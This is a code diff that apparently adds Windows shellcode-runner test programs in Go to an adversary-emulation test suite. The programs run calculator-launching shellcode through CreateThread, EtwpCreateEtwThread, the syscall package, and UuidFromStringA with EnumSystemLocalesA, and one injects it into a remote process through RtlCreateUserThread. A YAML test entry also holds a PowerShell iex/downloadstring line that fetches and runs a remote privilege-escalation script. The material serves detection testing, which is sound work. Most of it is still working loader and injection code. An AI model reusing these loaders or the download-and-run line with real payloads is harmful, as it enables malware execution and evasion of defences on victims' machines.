debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
|
||||
}
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
CreateThread := kernel32.NewProc("CreateThread")
|
||||
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
|
||||
}
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode copied to memory")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CreateThread...")
|
||||
}
|
||||
//var lpThreadId uint32
|
||||
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
|
||||
|
||||
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Shellcode Executed")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
|
||||
}
|
||||
|
||||
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
|
||||
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o CreateThreadNative.exe ./CreateThreadNative.go
|
||||
@@ -0,0 +1,135 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EtwpCreateEtwThread/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call EtwpCreateEtwThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
*/
|
||||
|
||||
// Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution: https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
|
||||
}
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
|
||||
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
|
||||
}
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode copied to memory")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling EtwpCreateEtwThread...")
|
||||
}
|
||||
//var lpThreadId uint32
|
||||
thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0))
|
||||
|
||||
if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:\r\n%s", errEtwThread.Error()))
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println("[+]Shellcode Executed")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
|
||||
}
|
||||
|
||||
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
|
||||
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o EtwpCreateEtwThread.exe ./EtwpCreateEtwThread.go
|
||||
@@ -0,0 +1,137 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/RtlCreateUserThread/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in a remote process using the following steps
|
||||
1. Get a handle to the target process
|
||||
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
4. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
|
||||
5. Close the handle to the remote process
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
|
||||
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
|
||||
flag.Usage = func() {
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
|
||||
CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
|
||||
}
|
||||
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
|
||||
|
||||
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling RtlCreateUserThread on PID %d...", *pid))
|
||||
}
|
||||
var tHandle uintptr
|
||||
_, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
|
||||
|
||||
if errRtlCreateUserThread != nil && errRtlCreateUserThread.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling RtlCreateUserThread:\r\n%s", errRtlCreateUserThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully called RtlCreateUserThread on PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
|
||||
}
|
||||
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
|
||||
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe ./RtlCreateUserThread.go
|
||||
@@ -0,0 +1,206 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/UuidFromString/main.go
|
||||
// Concept pulled from https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps:
|
||||
1. Create a Heap and allocate space
|
||||
2. Convert shellcode into an array of UUIDs
|
||||
3. Load the UUIDs into memory (on the allocated heap) by (ab)using the UuidFromStringA function
|
||||
4. Execute the shellcode by (ab)using the EnumSystemLocalesA function
|
||||
*/
|
||||
|
||||
// Reference: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
// Standard
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// 3rd Party
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if err != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err))
|
||||
}
|
||||
|
||||
// Convert shellcode to UUIDs
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Converting shellcode to slice of UUIDs")
|
||||
}
|
||||
|
||||
uuids, err := shellcodeToUUID(shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err.Error())
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll & Rpcrt4.dll")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32")
|
||||
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading HeapCreate, HeapAlloc, EnumSystemLocalesA, and UuidToStringA procedures")
|
||||
}
|
||||
heapCreate := kernel32.NewProc("HeapCreate")
|
||||
heapAlloc := kernel32.NewProc("HeapAlloc")
|
||||
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
|
||||
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
|
||||
|
||||
/* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate
|
||||
HANDLE HeapCreate(
|
||||
DWORD flOptions,
|
||||
SIZE_T dwInitialSize,
|
||||
SIZE_T dwMaximumSize
|
||||
);
|
||||
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
|
||||
*/
|
||||
|
||||
// Create the heap
|
||||
// HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
|
||||
heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0)
|
||||
if heapAddr == 0 {
|
||||
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
|
||||
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("Heap created at: 0x%x", heapAddr))
|
||||
}
|
||||
|
||||
/* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc
|
||||
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
|
||||
HANDLE hHeap,
|
||||
DWORD dwFlags,
|
||||
SIZE_T dwBytes
|
||||
);
|
||||
*/
|
||||
|
||||
// Allocate the heap
|
||||
addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000)
|
||||
if addr == 0 {
|
||||
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("Heap allocated: 0x%x", addr))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Iterating over UUIDs and calling UuidFromStringA...")
|
||||
}
|
||||
|
||||
/*
|
||||
RPC_STATUS UuidFromStringA(
|
||||
RPC_CSTR StringUuid,
|
||||
UUID *Uuid
|
||||
);
|
||||
*/
|
||||
|
||||
addrPtr := addr
|
||||
for _, uuid := range uuids {
|
||||
// Must be a RPC_CSTR which is null terminated
|
||||
u := append([]byte(uuid), 0)
|
||||
|
||||
// Only need to pass a pointer to the first character in the null terminated string representation of the UUID
|
||||
rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
|
||||
|
||||
// RPC_S_OK = 0
|
||||
if rpcStatus != 0 {
|
||||
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
|
||||
}
|
||||
|
||||
addrPtr += 16
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("Completed loading UUIDs to memory with UuidFromStringA")
|
||||
}
|
||||
|
||||
/*
|
||||
BOOL EnumSystemLocalesA(
|
||||
LOCALE_ENUMPROCA lpLocaleEnumProc,
|
||||
DWORD dwFlags
|
||||
);
|
||||
*/
|
||||
|
||||
// Execute Shellcode
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling EnumSystemLocalesA to execute shellcode")
|
||||
}
|
||||
ret, _, err := enumSystemLocalesA.Call(addr, 0)
|
||||
if ret == 0 {
|
||||
log.Fatal(fmt.Sprintf("EnumSystemLocalesA GetLastError: %s", err))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("Executed shellcode")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// shellcodeToUUID takes in shellcode bytes, pads it to 16 bytes, breaks them into 16 byte chunks (size of a UUID),
|
||||
// converts the first 8 bytes into Little Endian format, creates a UUID from the bytes, and returns an array of UUIDs
|
||||
func shellcodeToUUID(shellcode []byte) ([]string, error) {
|
||||
|
||||
// Pad shellcode to 16 bytes, the size of a UUID
|
||||
if 16-len(shellcode)%16 < 16 {
|
||||
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
|
||||
shellcode = append(shellcode, pad...)
|
||||
}
|
||||
|
||||
var uuids []string
|
||||
|
||||
for i := 0; i < len(shellcode); i += 16 {
|
||||
var uuidBytes []byte
|
||||
|
||||
// This seems unecessary or overcomplicated way to do this
|
||||
|
||||
// Add first 4 bytes
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
// Add next 2 bytes
|
||||
buf = make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
// Add next 2 bytes
|
||||
buf = make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
// Add remaining
|
||||
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
|
||||
|
||||
u, err := uuid.FromBytes(uuidBytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
|
||||
}
|
||||
|
||||
uuids = append(uuids, u.String())
|
||||
}
|
||||
return uuids, nil
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o UuidFromStringA.exe ./UuidFromStringA.go
|
||||
@@ -56,3 +56,23 @@ atomic_tests:
|
||||
command: |-
|
||||
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
|
||||
name: powershell
|
||||
- name: Run Shellcode via Syscall in Go
|
||||
description: |
|
||||
Runs shellcode in the current running process via a syscall.
|
||||
|
||||
Steps taken with this technique
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Use syscall to execute the entrypoint of the shellcode
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Binary file not shown.
@@ -0,0 +1,120 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/Syscall/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Use syscall to execute the entrypoint of the shellcode
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
|
||||
}
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
|
||||
}
|
||||
